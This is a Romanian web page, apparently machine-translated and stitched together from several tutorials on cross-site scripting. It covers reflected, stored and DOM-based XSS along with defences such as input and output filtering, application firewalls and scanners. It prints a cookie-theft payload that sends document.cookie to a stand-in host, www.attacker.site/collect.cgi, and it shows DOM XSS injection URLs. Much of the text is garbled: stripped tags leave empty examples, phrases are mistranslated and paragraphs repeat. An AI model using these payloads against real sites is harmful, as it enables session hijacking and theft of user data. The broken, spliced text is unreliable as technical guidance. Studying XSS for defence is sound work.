Erori  

Hack ușor: Cum să extrageți date prin includerea Cross Site Scripting. Profitați la maximum de vulnerabilitățile XSS Antrenamentul pentru atacuri Xss

Ory Segal

Aflați cum folosesc hackerii atacurile de tip cross-site scripting, ce daunează (și nu), cum să le detecteze și cum să vă protejați site-ul Web și vizitatorii acestuia de aceste încălcări rău intenționate de confidențialitate și securitate.

Cross-site scripting (sau XSS pe scurt) este unul dintre cele mai comune atacuri la nivel de aplicație pe care hackerii le folosesc pentru a compromite aplicațiile Web. XSS este un atac la confidențialitatea clienților unui anumit site Web. Poate duce la distrugerea completă a sistemului de securitate atunci când datele clientului sunt furate și utilizate în viitor într-un anumit scop. Majoritatea atacurilor implică două părți: fie un atacator și un site web, fie un atacator și un client victimă. Cu toate acestea, un atac XSS implică trei părți: atacatorul, clientul și site-ul web.

Scopul unui atac XSS este de a fura cookie-uri sau alte informații sensibile de pe computerul unui client care poate identifica clientul pe un site Web. Avand informatii care sa-l identifice ca utilizator legitim, un atacator poate actiona pe site ca un astfel de utilizator, i.e. pretinde că sunt el. De exemplu, într-un audit efectuat la o companie mare, a fost posibil să obțineți informațiile private ale unui utilizator și numărul cardului de credit folosind un atac XSS. Acest lucru a fost realizat prin rularea unui cod JavaScript personalizat. Acest cod a fost executat în browserul victimei (clientului), care avea privilegii de acces la site-ul Web. Există un număr foarte limitat de privilegii JavaScript care nu oferă scriptului acces la altceva decât la informații specifice site-ului. Este important de subliniat faptul că, deși vulnerabilitatea există pe site-ul Web, site-ul Web în sine nu este afectat direct. Dar acest lucru este suficient pentru ca scriptul să colecteze cookie-uri și să le trimită atacatorului. Drept urmare, atacatorul primește datele necesare și poate imita victima.

Să denumim site-ul atacat astfel: www.vulnerable.site. Un atac XSS tradițional se bazează pe un script vulnerabil care se află pe un site web vulnerabil. Acest script citește o parte a unei solicitări HTTP (de obicei parametri, dar uneori și antete sau cale HTTP) și o repetă pentru pagina de răspuns, fie în totalitate, fie doar parțial. Acest lucru nu igienizează solicitarea (adică nu verifică dacă solicitarea nu conține cod JavaScript sau etichete HTML). Să presupunem că acest script se numește welcome.cgi și parametrul său este numele. Poate fi folosit astfel:

Cum se poate abuza de asta? Atacatorul trebuie să poată atrage clientul (victima) să facă clic pe linkul pe care atacatorul i-l oferă. Acesta este un link creat cu grijă și rău intenționat, care determină browserul Web al victimei să acceseze un site web (www.vulnerable.site) și să execute un script vulnerabil. Datele pentru acest script conțin cod JavaScript care accesează cookie-urile stocate de browserul clientului pentru site-ul www.vulnerable.site. Acest lucru este permis deoarece browserul clientului „crede” că codul JavaScript provine de la www.vulnerable.site. Și modelul de securitate JavaScript permite scripturilor care provin de la un anumit site să acceseze cookie-urile care aparțin site-ului respectiv.

Răspunsul din partea site-ului vulnerabil va fi următorul:

Bun venit! Bună alertă (document.cookie)

Bun venit la sistemul nostru...

Browserul clientului victimei interpretează această solicitare ca o pagină HTML care conține o bucată de cod JavaScript. Acest cod, atunci când este executat, va avea acces la toate cookie-urile aparținând site-ului www.vulnerable.site. În consecință, va provoca o fereastră pop-up în browser care arată toate cookie-urile clientului care sunt legate de www.vulnerable.site.

Desigur, un atac real ar presupune trimiterea acestor fișiere către atacator. Pentru a face acest lucru, un atacator poate crea un site Web (www.attacker.site) și poate folosi un script pentru a primi cookie-uri. În loc să apeleze o fereastră pop-up, atacatorul ar scrie cod care accesează adresa URL la www.attacker.site. În acest sens, se execută un script pentru a obține cookie-uri. Parametrul acestui script este cookie-urile furate. Astfel, un atacator poate obține cookie-uri de pe serverul www.attacker.site.

Imediat după încărcarea acestei pagini, browserul va executa codul JavaScript inserat acolo și va transmite solicitarea către scriptul collect.cgi de pe www.attacker.site împreună cu valoarea cookie-urilor de pe www.vulnerable.site pe care browserul le are deja. Acest lucru subminează securitatea cookie-urilor www.vulnerable.site pe care le are clientul. Acest lucru permite atacatorului să pretindă că este victima. Confidențialitatea clientului este complet încălcată.

Nota.
De obicei, apelarea unei ferestre pop-up cu folosind JavaScript este suficient pentru a demonstra vulnerabilitatea site-ului la un atac XSS. Dacă puteți apela funcția Alert din JavaScript, de obicei nu există niciun motiv pentru care apelul ar eșua. Acesta este motivul pentru care majoritatea exemplelor de atacuri XSS folosesc funcția Alert, ceea ce face foarte ușor să se determine succesul atacului.

Atacul poate avea loc doar în browserul victimei, același folosit pentru accesarea site-ului (www.vulnerable.site). Atacatorul trebuie să forțeze clientul să acceseze legătura rău intenționată. Acest lucru poate fi realizat în mai multe moduri.

  • Atacatorul trimite un e-mail care conține o pagină HTML care păcălește browserul să deschidă un link. Acest lucru necesită ca victima să folosească clientul e-mail, capabil să lucreze cu HTML. Și vizualizatorul HTML de pe client trebuie să fie același browser care este folosit pentru a accesa www.vulnerable.site.
  • Un client vizitează un site, posibil creat de un atacator, unde un link către o imagine sau alt element HTML pe care se poate face clic determină browserul să deschidă linkul. Din nou, în acest caz, este imperativ ca același browser să fie folosit pentru a accesa atât acest site, cât și site-ul www.vulnerable.site.

Codul JavaScript rău intenționat poate accesa oricare dintre următoarele informații:

  • cookie-uri persistente (ale site-ului www.vulnerable.site), care sunt stocate de browser;
  • cookie-uri în RAM(site www.vulnerable.site), care sunt suportate de instanța browserului doar la vizualizarea site-ului www.vulnerable.site;
  • numele altor ferestre deschise pentru site-ul www.vulnerable.site.
  • orice informație disponibilă prin DOM-ul curent (din valori, cod HTML etc.).

Datele de identificare, autorizare și autentificare sunt stocate de obicei sub formă de cookie-uri. Dacă aceste cookie-uri sunt persistente, atunci victima este vulnerabilă la atac chiar și atunci când nu folosește un browser când accesează www.vulnerable.site. Totuși, dacă cookie-urile sunt temporare (de exemplu, sunt stocate în RAM), atunci pe partea clientului trebuie să existe o sesiune cu site-ul www.vulnerable.site.

O altă posibilă implementare a unei etichete de identificare este parametrul URL. ÎN cazuri similare Puteți accesa alte ferestre folosind JavaScript după cum urmează (presupunând că numele paginii cu parametrii URL doriti este foobar):

var victim_window=open(","foobar");alert("Poate accesa:

" +victim_window.location.search)

Pentru a rula un script JavaScript, puteți utiliza multe etichete HTML, altele decât . De fapt, cod rău intenționat JavaScript poate fi, de asemenea, găzduit pe un alt server și apoi solicitați clientului să descarce scriptul și să îl execute. Acest lucru poate fi util dacă trebuie să rulați o cantitate mare de cod sau dacă codul conține caractere speciale.

Iată câteva variante ale acestor posibilități.

  • În loc de... hackerii pot folosi . Acest lucru este potrivit pentru site-urile care filtrează eticheta HTML.
  • În loc de... poți folosi construcția. Acest lucru este bun în situațiile în care codul JavaScript este prea lung sau dacă conține caractere ilegale.

Uneori, datele încorporate în pagina de răspuns sunt în context HTML plătit. În acest caz, mai întâi trebuie să „escape” în contextul liber și apoi să efectuați un atac XSS. De exemplu, dacă datele sunt inserate ca valoare implicită pentru un câmp de formular HTML:

Și codul HTML rezultat va fi după cum urmează:

fereastra.deschis

("http://www.attacker.site/collect.cgi?cookie="+document.cookie)">

Până acum am văzut că un atac XSS poate apărea în parametrul de solicitare GET la care răspunde scriptul. Dar atacul poate fi efectuat și folosind o solicitare POST, sau folosind componenta cale a cererii HTTP și chiar folosind unele antete HTTP (de exemplu, Referer).

În special, componenta cale este utilă atunci când pagina de eroare returnează o cale nevalidă. În acest caz, includerea unui script rău intenționat în cale va duce adesea la executarea acestuia. Multe servere Web sunt vulnerabile la acest atac.

Este important de înțeles că, deși site-ul Web nu este afectat direct de acest atac (el continuă să funcționeze normal, nu este executat niciun cod rău intenționat asupra acestuia, nu are loc nici un atac DoS, iar datele de pe site nu sunt citite sau modificate direct) , aceasta este încă o breșă în sistemul de securitate pe care site-ul îl oferă clienților sau vizitatorilor săi. Acesta este similar cu un site care este folosit pentru a implementa o aplicație cu etichete de securitate slabe. Din această cauză, un atacator poate ghici eticheta de securitate a clientului și poate pretinde că este el (sau ea).

Punctul slab al aplicației este scriptul, care returnează parametrul său indiferent de valoarea acestuia. Un script bun ar trebui să se asigure că parametrul este în formatul corect, că conține caractere acceptabile etc. De obicei, nu există niciun motiv pentru ca parametrul corect să conțină etichete HTML sau cod JavaScript. Ele trebuie eliminate din parametru înainte de a putea fi injectate în răspuns sau utilizate în aplicație. Acest lucru va asigura siguranța.

Există trei moduri de a vă proteja site-ul web de atacurile XSS.

  • Efectuând propria dvs. filtrare a datelor de intrare (uneori numită igienizare de intrare). Pentru fiecare intrare de utilizator (fie că este un parametru sau un antet HTML), fiecare script auto-scris ar trebui să utilizeze filtrare avansată împotriva etichetelor HTML, inclusiv codul JavaScript. De exemplu, scriptul welcome.cgi din exemplul anterior ar trebui să filtreze eticheta după decodificarea parametrului nume. Această metodă are mai multe dezavantaje serioase.
    • Este necesar ca programatorul de aplicații să aibă o bună cunoaștere a tehnologiilor de securitate.
    • Este necesar ca programatorul să acopere toate sursele posibile de date de intrare (parametri de solicitare, parametri de corp de solicitare POST, anteturi HTTP).
    • Nu poate proteja împotriva vulnerabilităților din scripturile sau serverele terților. De exemplu, nu va proteja împotriva problemelor din paginile de eroare de pe serverele Web (care afișează calea sursă).
  • Efectuarea „filtrarii de ieșire”, de ex. filtrarea datelor utilizatorului atunci când sunt trimise înapoi în browser, nu atunci când le primește scriptul. Un bun exemplu Această abordare ar putea fi un script care inserează date în baza de date și apoi le afișează. În acest caz, este important să aplicați filtrul nu șirului de intrare original, ci doar versiunii de ieșire. Dezavantajele acestei metode sunt similare cu cele ale filtrării de intrare.
  • Instalarea unui firewall de aplicație (firewall) producător terț. Acest ecran interceptează atacurile XSS înainte ca acestea să ajungă la serverul Web și scripturile vulnerabile și le blochează. Firewall-urile aplicației pot acoperi toate metodele de introducere prin lucrul cu ele într-un mod general(inclusiv anteturile de cale și HTTP), indiferent de script sau cale de la o aplicație nativă, un script terță parte sau un script care nu descrie deloc resurse (de exemplu, destinat să declanșeze o pagină de răspuns 404 de pe server). Pentru fiecare sursă de date de intrare firewall aplicațiile verifică datele pentru diferite modele de etichete HTML și cod JavaScript. Dacă există potriviri, cererea este blocată și datele rău intenționate nu ajung pe server.

    • Concluzia logică a protecției unui site web este verificarea securității acestuia împotriva atacurilor XSS. La fel ca protejarea unui site de XSS, verificarea nivelului de protecție se poate face manual (pe calea grea) sau folosind un instrument automat pentru evaluarea vulnerabilității aplicațiilor Web. Acest instrument vă va scăpa de povara verificării. Acest program se deplasează pe site și rulează toate opțiunile pe care le cunoaște pentru toate scripturile pe care le detectează. Aceasta încearcă toți parametrii, anteturile și căile. În ambele metode, fiecare intrare în aplicație (parametrii tuturor scripturilor, antete HTTP, căi) este verificată cu cât mai multe opțiuni posibil. Și dacă pagina de răspuns conține cod JavaScript într-un context în care browserul îl poate executa, atunci apare un mesaj de vulnerabilitate XSS. De exemplu, când trimiteți următorul text:

    alertă (document.cookie)

    fiecare parametru al fiecărui script (prin intermediul unui browser cu capabilități JavaScript pentru a identifica cea mai simplă formă Vulnerabilitatea XSS), browserul va declanșa o fereastră de alertă JavaScript dacă textul este interpretat ca cod JavaScript. Desigur, există mai multe opțiuni. Prin urmare, testarea numai a acestei opțiuni nu este suficientă. Și, după cum ați învățat deja, puteți introduce cod JavaScript în diferite câmpuri de solicitare: parametri, anteturi HTTP și cale. Cu toate acestea, în unele cazuri (în special cu antetul HTTP Referer), este incomod să efectuați un atac folosind un browser.

    Cross-site scripting este unul dintre cele mai comune atacuri la nivel de aplicație pe care hackerii le folosesc pentru a compromite aplicațiile Web. Este, de asemenea, cel mai periculos. Acesta este un atac la confidențialitatea clienților unui anumit site Web. Poate duce la distrugerea completă a sistemului de securitate atunci când datele clientului sunt furate și utilizate în viitor într-un anumit scop. Din păcate, așa cum explică acest articol, acest lucru se face adesea fără a cunoaște clientul sau organizația atacată.

    Pentru a preveni ca site-urile Web să fie vulnerabile la aceste activități rău intenționate, este important ca o organizație să implementeze o strategie de securitate atât online, cât și offline. Aceasta include un verificator automat de vulnerabilități care poate testa toate vulnerabilitățile cunoscute ale site-urilor Web și aplicațiilor specifice (cum ar fi scriptingul între site-uri) pe un site. Pentru o protecție online completă, este, de asemenea, vital să instalați un firewall care poate detecta și bloca orice tip de manipulare a codului și a datelor care se află pe sau în spatele serverelor Web.

    Ce este o vulnerabilitate XSS? Ar trebui să ne fie frică de ea?

    Cross-site scripting (XSS pe scurt) este o vulnerabilitate larg răspândită care afectează multe aplicații web. Permite unui atacator să injecteze cod rău intenționat într-un site web, astfel încât browserul unui utilizator care vizitează site-ul va executa codul.

    De obicei, exploatarea unei astfel de vulnerabilități necesită o anumită interacțiune cu utilizatorul: fie sunt atrași către un site infectat folosind inginerie socială, fie pur și simplu așteaptă ca utilizatorul să viziteze site-ul. Prin urmare, dezvoltatorii adesea nu iau în serios vulnerabilitățile XSS. Dar dacă nu sunt abordate, acestea pot reprezenta un risc serios de securitate.

    Să ne imaginăm că suntem în panoul de administrare WordPress, adăugând conținut nou. Dacă folosim un plugin XSS-vulnerabil pentru aceasta, acesta poate forța browserul să creeze un nou administrator, să modifice conținutul și să efectueze alte acțiuni rău intenționate.

    Cross-site scripting oferă unui atacator virtual control deplin peste cele mai importante softwareîn zilele noastre - un browser.

    XSS: Vulnerabilitatea injectării

    Orice site web sau aplicație are mai multe locuri pentru introducerea datelor - câmpuri de formular până la adresa URL în sine. Cel mai simplu exemplu date de intrare - când introducem numele de utilizator și parola în formularul:

    Figura 1. Formular de introducere a datelor

    Numele nostru va fi stocat în baza de date a site-ului pentru interacțiunile ulterioare cu noi. Cu siguranță, când te-ai conectat la orice site web, ai văzut un salut personal în stilul „Bun venit, Ilya”. În acest scop, numele de utilizator sunt stocate în baza de date.

    O injecție este o procedură în care, în loc de nume de utilizator sau parolă, se introduce o secvență specială de caractere, forțând serverul sau browserul să răspundă într-un anumit mod dorit de atacator.

    Cross-site scripting este o injecție care injectează cod care va efectua acțiuni în browser în numele site-ului web. Acest lucru se poate întâmpla fie cu notificarea utilizatorului, fie în fundal, fără știrea acestuia.

    Figura 2. Diagrama vizuală a scripturilor cross-site

    Cel mai simplu exemplu este un script simplu care afișează o fereastră de notificare. Arata cam asa:

    Tabelul 1. Scriptul care provoacă fereastra pop-up

    alert(„ACEASTA ESTE O VULNERABILITATE XSS!!!”)

    Acest script afișează o fereastră cu mesajul „ACESTA ESTE O VULNERABILITATE XSS!!!” Browserul utilizatorului percepe și execută acest script ca parte a codului legitim al site-ului.

    Tipuri de vulnerabilități XSS

    Nu toate vulnerabilitățile XSS sunt create la fel, există multe tipuri. Iată tipurile și modul în care interacționează:

    Figura 3. Tipuri de vulnerabilități XSS


    Vulnerabilități cauzate de codul serverului (Java, PHP, .NET etc.):

    Atacurile XSS tradiționale:

  • Reflectat (nepermanent). Un atac XSS reflectat este declanșat atunci când un utilizator face clic pe un link special creat. Aceste vulnerabilități apar atunci când datele furnizate de clientul web, cel mai adesea în parametrii de solicitare HTTP sau formular HTML, sunt executate direct de scripturi de pe partea serverului pentru a analiza și afișa pagina de rezultate pentru acel client, fără o procesare adecvată.
  • Stocat (persistent). XSS stocat este posibil atunci când un atacator reușește să injecteze cod rău intenționat în server, care este executat în browser de fiecare dată când este accesată pagina originală. Un exemplu clasic al acestei vulnerabilități sunt forumurile care permit comentarii HTML.

    • Vulnerabilități cauzate de codul clientului (JavaScript, Visual Basic, Flash, etc.):

    Cunoscute și ca modele DOM:

  • Reflectat (nepermanent). La fel ca și în cazul părții server, doar în acest caz atacul este posibil datorită faptului că codul este procesat de browser.
  • Stocat (persistent). Similar cu XSS stocat pe server, doar în acest caz componenta rău intenționată este stocată pe partea client folosind stocarea browserului.

    • Vulnerabilități cauzate de infrastructură (browser, pluginuri, servere etc.):

    Sunt foarte rare, dar sunt mai periculoase:

  • Infrastructura la nivelul clientului. Apare atunci când o componentă rău intenționată efectuează orice manipulări cu funcționalitatea browserului, de exemplu cu filtrul său XSS etc.
  • Infrastructură pe partea serverului. Apare atunci când serverul web nu procesează corect cererile, permițând modificarea acestora.
  • Net. Apare atunci când este posibilă intervenția în comunicarea dintre client și server.

    • Vulnerabilități cauzate de utilizator:

  • Auto-XSS. Apare adesea ca urmare a ingineriei sociale, în care un utilizator rulează accidental cod rău intenționat în browserul său.
    • Care sunt pericolele XSS?

    Cum vă puteți proteja site-ul de XSS? Cum să vă verificați codul pentru vulnerabilități? Există tehnologii precum Sucuri Firewall care sunt special concepute pentru a evita astfel de atacuri. Dar dacă sunteți dezvoltator, cu siguranță veți dori să aflați mai multe despre cum să identificați și să reduceți vulnerabilitățile XSS. Vom vorbi despre asta în următoarea parte a articolului despre XSS.


    Cross-site scripting (XSS) se referă la un atac de injectare de cod pe partea clientului în care un atacator poate executa scripturi rău intenționate pe un site web sau pe o aplicație web. XSS este una dintre cele mai comune vulnerabilități ale aplicațiilor web și apare atunci când o aplicație web nu utilizează validarea sau codificarea de intrare/ieșire.

    Prin utilizarea XSS, atacatorul nu vizează direct victima. În schimb, va exploata o vulnerabilitate dintr-un site web sau dintr-o aplicație web pe care o vizitează victima, utilizând în esență site-ul web vulnerabil ca vehicul pentru a livra un script rău intenționat browserului victimei.

    În timp ce XSS poate fi folosit în VBScript, ActiveX și Flash (deși acesta din urmă este acum considerat depreciat), este, fără îndoială, cel mai larg abuzat în JavaScript - în primul rând pentru că JavaScript este fundamental pentru majoritatea site-urilor web.

    Cum funcționează cross-site scripting

    Pentru a rula cod JavaScript rău intenționat în browserul unei victime, atacatorul trebuie mai întâi să găsească o modalitate de a injecta sarcina utilă în pagina web pe care o vizitează victima. Desigur, un atacator ar putea folosi tehnici de inginerie socială pentru a convinge un utilizator să viziteze o pagină vulnerabilă cu o sarcină utilă JavaScript injectată.

    Pentru ca un atac XSS să aibă loc, site-ul web vulnerabil trebuie să includă direct intrarea utilizatorului în paginile sale. Atacatorul poate introduce apoi un șir care va fi folosit în pagina web și procesat ca cod de browserul victimei.

    Următorul pseudocod de pe partea serverului este utilizat pentru a afișa cel mai recent comentariu pe o pagină web.

    Print "" print "Cel mai recent comentariu" print database.latestComment print "" Scriptul de mai sus imprimă pur și simplu cel mai recent comentariu din baza de date de comentarii și imprimă conținutul pe pagina HTML, presupunând că comentariul tipărit este format doar din text.

    Codul paginii de mai sus este vulnerabil la xss, deoarece un atacator poate lăsa un comentariu care conține o sarcină utilă rău intenționată, de ex.

    face SomethingEvil();. Utilizatorii care vizitează pagina web vor primi următoarea pagină HTML.

    Cel mai recent comentariu doSomethingEvil();

    Când pagina se încarcă în browserul victimei, scriptul rău intenționat al atacatorului va fi executat, cel mai adesea fără ca utilizatorul să fie conștient sau să fie capabil să prevină un astfel de atac.

    Notă importantă: vulnerabilitatea -xss poate exista numai dacă sarcina utilă (script-ul rău intenționat) pe care atacatorul o inserează este în cele din urmă redată (ca HTML în acest caz) în browserul victimei

    Ce poate face un atacator cu JavaScript? Consecințele a ceea ce poate face un atacator cu capacitatea de a rula JavaScript pe o pagină web pot să nu fie imediat evidente, mai ales că browserele rulează JavaScript într-un mediu foarte controlat și că JavaScript are acces limitat La sistem de operare

    fișiere utilizator și utilizator.

    Cu toate acestea, având în vedere că JavaScript are acces la următoarele, este mai ușor de înțeles ce pot obține atacatorii creativi cu JavaScript. JavaScript rău intenționat are acces la toate aceleași obiecte ca și restul paginii web, inclusiv acces la cookie-uri. Cookie-urile sunt adesea folosite pentru a stoca jetoane de sesiune dacă un atacator ar putea obține prăjitură

    JavaScript poate folosi XMLHttpRequest pentru a trimite solicitări http cu conținut arbitrar în direcții arbitrare.

    JavaScript în browserele moderne poate folosi API-uri HTML5, cum ar fi accesarea locației geografice a utilizatorului, a camerei web, a microfonului și chiar și a anumitor fișiere din sistem de fișiere utilizator. În timp ce majoritatea acestor API-uri necesită interacțiunea utilizatorului, XSS combinat cu o inginerie socială inteligentă poate oferi rezultate destul de bune pentru un atacator.

    În general, în combinație cu ingineria socială, aceste metode permit atacatorilor să organizeze atacuri precum furtul de cookie-uri, înregistrarea tastelor, phishingul și furtul de identitate. În mod critic, vulnerabilitățile XSS oferă terenul perfect pentru atacatori pentru a escalada atacurile în altele mai grave.

    Nu este scriptarea între site-uri o problemă pentru utilizator?

    Nu. Dacă un atacator poate abuza de o vulnerabilitate XSS dintr-o pagină web pentru a executa JavaScript arbitrar în browserul vizitatorului, securitatea acelui site web sau a aplicației web și a utilizatorilor acesteia a fost compromisă - xss nu este problema utilizatorului și nici o altă vulnerabilitate de securitate dacă vă afectează utilizatorii, vă va afecta.

    Anatomia unui atac de scripting între site-uri

    Un atac Xss necesită trei participanți: site-ul, victima și atacatorul. Exemplul de mai jos presupune că scopul atacatorului este de a uzurpa identitatea victimei furând cookie-urile victimei. Trimiterea cookie-urilor către serverul atacatorului se poate face în diverse moduri, dintre care unul este prin executarea următorului cod JavaScript în browserul victimei folosind o vulnerabilitate XSS.

    window.?cookie=" + document.cookie Imaginea de mai jos arată ghid pas cu pas printr-un simplu atac XSS.

    • Un atacator introduce sarcina utilă în baza de date a unui site web prin trimiterea unui formular vulnerabil folosind cod JavaScript rău intenționat
    • Victima solicită o pagină web de pe un site web
    • Site-ul web oferă browserului victimei o pagină cu încărcătura utilă a atacatorului ca parte a corpului HTML.
    • Browserul victimei va executa scriptul rău intenționat în interiorul corpului HTML. În acest caz, va trimite cookie-urile victimei către serverul atacatorului. Acum atacatorul trebuie pur și simplu să extragă cookie-ul victimei atunci când o solicitare HTTP ajunge la server, după care atacatorul poate folosi cookie-ul furat al victimei.
    Câteva exemple de scripturi de atac între site-uri

    Mai jos este o listă mică de scenarii de atac XSS pe care un atacator le poate folosi pentru a compromite securitatea unui site web sau a unei aplicații web.

    etichetă

    Această etichetă este cea mai directă vulnerabilitate xss. Eticheta de script poate fi conectată la cod JavaScript extern.

    alert("XSS");

    etichetă

    Cu xss, injecția poate fi livrată în interiorul etichetei folosind atributul onload sau un alt atribut mai întunecat, cum ar fi fundalul. .

    tag Unele browsere vor executa JavaScript când este în

    tag Această etichetă vă permite să încorporați o altă pagină HTML în pagina părinte. Un iFrame poate conține JavaScript, totuși este important să rețineți că JavaScript într-un iFrame nu are acces la DOM-ul paginii părinte din cauza Politicii de securitate a conținutului (CSP) a browserului. Cu toate acestea, IFrame-urile sunt încă un mijloc foarte eficient de atacuri de tip phishing.

    etichetă

    tag Această etichetă vă permite să încorporați o altă pagină HTML în pagina părinte. Un iFrame poate conține JavaScript, totuși este important să rețineți că JavaScript într-un iFrame nu are acces la DOM-ul paginii părinte din cauza Politicii de securitate a conținutului (CSP) a browserului. Cu toate acestea, IFrame-urile sunt încă un mijloc foarte eficient de atacuri de tip phishing.

    În unele browsere, dacă atributul de tip al acestei etichete este setat la imagine, acesta poate fi folosit pentru a găzdui un script.

    Eticheta, care este adesea folosită pentru a lega foi de stil externe, poate conține script.

    etichetă

    Atributul de fundal al etichetelor table și td poate fi folosit pentru a indica un script în loc de o imagine.

    etichetă

    În etichetă, asemănător
    Şi

    Atributul de fundal al etichetelor table și td poate fi folosit pentru a indica un script în loc de o imagine.

    etichete puteți specifica fundalul și, prin urmare, puteți introduce scriptul.

    Această etichetă poate fi folosită pentru a fi inclusă într-un script de pe un site extern.

    Este site-ul dvs. vulnerabil la cross-site scripting? Vulnerabilitățile XSS sunt printre cele mai comune vulnerabilități ale aplicațiilor web de pe Internet. Din fericire, este ușor să verificați dacă site-ul sau aplicația dvs. web este vulnerabilă la XSS și alte vulnerabilități, contactându-mă pur și simplu. Te voi ajuta cu o mică taxă programe speciale

    Îți voi scana resursa, voi găsi potențiale vulnerabilități și îți voi spune cum să le elimini.

    Cross-site scripting (XSS) este o vulnerabilitate care implică injectarea codului client (JavaScript) într-o pagină web pe care o vizualizează alți utilizatori. Vulnerabilitatea se datorează filtrarii insuficiente a datelor pe care utilizatorul le trimite pentru inserare în pagina web. Mult mai ușor de înțeles exemplu concret . Amintește-ți oricare cartea de oaspeti

    - acestea sunt programe care sunt concepute să accepte date de la utilizator și apoi să le afișeze. Să ne imaginăm că cartea de oaspeți nu verifică sau filtrează în niciun fel datele introduse, ci pur și simplu le afișează. Îl poți schița pe al tău(nu este nimic mai ușor decât să scrieți scripturi proaste în PHP - mulți oameni fac asta). Dar există deja o mulțime de opțiuni gata făcute. De exemplu, sugerez să începem cu Dojo și OWASP Mutillidae II. Există un exemplu similar acolo. Într-un mediu Dojo autonom, accesați acest link în browser: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

    Dacă unul dintre utilizatori a introdus:

    Pagina web va afișa apoi:

    Buna ziua! Îmi place site-ul tău.

    Și dacă utilizatorul introduce acest lucru:

    Buna ziua! Îmi place site-ul tău.alert(„Pwned”)

    Apoi va fi afișat astfel:

    Browserele stochează multe cookie-uri cantitate mare site-uri. Fiecare site poate primi doar cookie-uri salvate de la sine. De exemplu, example.com a stocat unele cookie-uri în browserul dumneavoastră. Dacă vizitați another.com, acest site (scripturi client și server) nu poate accesa cookie-urile pe care example.com le-a stocat.

    Dacă example.com este vulnerabil la XSS, aceasta înseamnă că putem injecta cumva cod JavaScript în el, iar acel cod va fi executat în numele example.com! Aceste. Acest cod va accesa, de exemplu, modulele cookie ale example.com.

    Cred că toată lumea își amintește că JavaScript este executat în browserele utilizatorilor, adică. în prezența XSS, codul rău intenționat încorporat obține acces la datele utilizatorului care a deschis pagina site-ului.

    Codul încorporat poate face tot ce poate face JavaScript, și anume:

    • obține acces la cookie-urile site-ului web pe care îl vizualizați
    • poate face orice modificare la aspect pagini
    • accesează clipboard-ul
    • poate implementa programe JavaScript, de exemplu, keylogger (interceptoare de taste)
    • ridica pe Beef
    • etc.

    Cel mai simplu exemplu cu cookie-uri:

    alertă (document.cookie)

    De fapt, alerta este folosită doar pentru a detecta XSS. Sarcina utilă reală rău intenționată efectuează acțiuni ascunse. Ea contactează în secret server la distanță atacator și îi transferă datele furate.

    Tipuri de XSS

    Cel mai important lucru de înțeles despre tipurile de XSS este că acestea sunt:

    • Stocat (permanent)
    • Reflectat (volativ)

    Exemplu de constante:

    • Un mesaj special creat de atacator introdus în cartea de oaspeți (comentariu, mesaj pe forum, profil), care este salvat pe server, este descărcat de pe server de fiecare dată când utilizatorii solicită afișarea acestei pagini.
    • Atacatorul a obținut acces la datele serverului, de exemplu, prin injecție SQL, și a introdus un rău intenționat Cod JavaScript(cu ki-loggeri sau cu BeEF).

    Exemple de cele nepermanente:

    • Există o căutare pe site care, împreună cu rezultatele căutării, arată ceva de genul „Ați căutat: [șir de căutare]”, iar datele nu sunt filtrate corect. Deoarece o astfel de pagină este afișată numai persoanei care are un link către ea, atacul nu va funcționa până când atacatorul nu trimite linkul către alți utilizatori ai site-ului. În loc să trimiteți un link către victimă, puteți utiliza plasarea unui script rău intenționat pe un site neutru pe care îl vizitează victima.

    De asemenea, ei disting (unele ca un tip de vulnerabilități XSS nepersistente, unii spun că acest tip poate fi și un tip de XSS persistent):

    • Modele DOM
    Caracteristicile XSS bazate pe DOM

    Pentru a spune foarte simplu, putem vedea codul rău intenționat al XSS nepersistent „obișnuit” dacă deschidem codul HTML. De exemplu, legătura este formată astfel:

    Http://example.com/search.php?q="/>alertă(1)

    Și când deschidem codul HTML sursă, vedem ceva de genul acesta:

    alert(1)" /> Găsiți

    Și DOM XSS modifică structura DOM, care se formează în browser din mers și putem vedea doar cod rău intenționat atunci când vedem structura DOM generată. HTML-ul nu se schimbă. Să luăm acest cod ca exemplu:

    site:::DOM XSS A apărut o eroare... function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var rezultate = location.hash .match(".*input=token(" + r4c + ");"); if (rezultate) ( document.getElementById("default").innerHTML = ""; return (unescape(rezultate)); ) else ( return null ) ) display_session = OnLoad();

    ")

    document.write("ID-ul sesiunii dvs. a fost: " + display_session + "

    Apoi, în browser vom vedea:

    Codul sursă al paginii:

    Să formăm adresa astfel:

    Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

    Acum pagina arată așa: Dar să ne uităm cod sursă

    HTML:

    Acolo nu s-a schimbat absolut nimic. Despre asta vorbeam, trebuie să ne uităm la structura DOM a documentului pentru a identifica codul rău intenționat:

    Iată un prototip XSS funcțional, pentru un atac real avem nevoie de o sarcină utilă mai complexă, ceea ce nu este posibil din cauza faptului că aplicația nu mai citește imediat după punct și virgulă, iar ceva de genul alert(1);alert(2) este nu. mai mult posibil. Cu toate acestea, datorită unescape() putem folosi o sarcină utilă ca aceasta în datele returnate:

    Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

    Acum putem scrie o încărcătură JavaScript rău intenționată și să compunem un link pe care să îl trimitem victimei, așa cum se face pentru scripturile standard nepersistente între site-uri.

    Auditor XSS

    ÎN Google Chrome(și tot în Opera, care acum folosește motorul Google Chrome), mă aștepta această surpriză:

    dom_xss.html:30 Auditorul XSS a refuzat să execute un script în „http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);” deoarece codul sursă a fost găsit în cerere. Auditorul a fost activat deoarece serverul nu a trimis nici un antet „X-XSS-Protection”, nici „Content-Security-Policy”.

    Aceste. browserul are acum un auditor XSS care va încerca să prevină XSS. Firefox nu are încă această funcționalitate, dar cred că este o chestiune de timp. Dacă implementarea în browsere are succes, atunci putem vorbi despre o dificultate semnificativă în utilizarea XSS.

    E bine să ne amintim asta browsere moderne iau măsuri pentru a limita nivelul de exploatare a problemelor precum XSS nepersistent și XSS bazat pe DOM. Acesta este, de asemenea, ceva de reținut atunci când testați site-uri web folosind un browser - se poate dovedi că aplicația web este vulnerabilă, dar nu vedeți confirmarea pop-up-ului doar pentru că browserul o blochează.

    Exemple de exploatare XSS

    Atacatorii care intenționează să exploateze vulnerabilitățile cross-site scripting trebuie să abordeze fiecare clasă de vulnerabilitate în mod diferit. Vectorii de atac pentru fiecare clasă sunt descriși aici.

